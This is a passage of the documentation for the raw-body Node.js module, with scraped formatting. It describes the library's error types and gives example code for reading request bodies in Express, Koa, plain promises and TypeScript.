- the expected length of the streamreceived
- the received bytesencoding
- the invalid encodingstatus
and statusCode
- the corresponding status code for the errortype
- the error typeThe errors from this module have a type
property which allows for the progamatic
determination of the type of error returned.
This error will occur when the encoding
option is specified, but the value does
not map to an encoding supported by the iconv-lite
module.
This error will occur when the limit
option is specified, but the stream has
an entity that is larger.
This error will occur when the request stream is aborted by the client before reading the body has finished.
This error will occur when the length
option is specified, but the stream has
emitted more bytes.
This error will occur when the given stream has an encoding set on it, making it
a decoded stream. The stream should not have an encoding set and is expected to
emit Buffer
objects.
var contentType = require('content-type')
var express = require('express')
var getRawBody = require('raw-body')
var app = express()
app.use(function (req, res, next) {
getRawBody(req, {
length: req.headers['content-length'],
limit: '1mb',
encoding: contentType.parse(req).parameters.charset
}, function (err, string) {
if (err) return next(err)
req.text = string
next()
})
})
// now access req.text
var contentType = require('content-type')
var getRawBody = require('raw-body')
var koa = require('koa')
var app = koa()
app.use(function * (next) {
this.text = yield getRawBody(this.req, {
length: this.req.headers['content-length'],
limit: '1mb',
encoding: contentType.parse(this.req).parameters.charset
})
yield next
})
// now access this.text
To use this library as a promise, simply omit the callback
and a promise is
returned, provided that a global Promise
is defined.
var getRawBody = require('raw-body')
var http = require('http')
var server = http.createServer(function (req, res) {
getRawBody(req)
.then(function (buf) {
res.statusCode = 200
res.end(buf.length + ' bytes submitted')
})
.catch(function (err) {
res.statusCode = 500
res.end(err.message)
})
})
server.listen(3000)
import * as getRawBody from 'raw-body';
import * as http from 'http';
const server = http.createServer((req, res) => {
getRawBody(req)
.then((buf) => {
res.statusCode = 200;
res.end(buf.length + ' bytes submitted');
})
.catch((err) => {
res.statusCode = err.statusCode;
res.end(err.message);
});
});
server.listen(3000);